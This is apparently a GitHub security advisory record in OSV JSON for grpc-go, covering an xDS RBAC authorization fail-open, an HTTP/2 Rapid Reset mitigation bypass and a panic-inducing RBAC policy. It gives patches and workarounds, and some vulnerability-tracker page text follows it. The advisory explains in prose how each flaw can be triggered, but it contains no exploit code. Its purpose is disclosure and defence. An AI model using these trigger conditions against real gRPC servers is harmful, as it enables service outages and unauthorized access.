"details": "Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:\n\n- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields.\n- Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.\n- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields.\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n#### xDS RBAC Authorization Bypass via `Metadata` \u0026 `RequestedServerName` matchers\n\n- Affected Component: xDS RBAC \n- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported `permission` and `principal` rules (specifically `Metadata` and `RequestedServerName`) were silently ignored and treated as no-ops.\n - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.\n- If these unsupported rules were nested inside logical `NOT` rules (`Permission_NotRule` / `Principal_NotId`) or multi-condition `OR/AND` rules, silently dropping them changed the boolean logic flow of the authorization engine.\n\nAs a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.\n\n#### HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts\n\n- Affected Component: HTTP/2 transport\n- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as `SETTINGS` ACKs or server-initiated `RST_STREAM`s.\n\nWhen a client initiated a rapid flood of stream creation (`HEADERS`) immediately followed by stream termination `RST_STREAM`, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |",
"id": "GHSA-hrxh-6v49-42gf",
"modified": "2026-07-21T22:03:56Z",
"published": "2026-07-21T22:03:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/pull/9236"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935"
},
{
"type": "PACKAGE",
"url": "https://github.com/grpc/grpc-go"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-go/releases/tag/v1.82.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities"
}
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Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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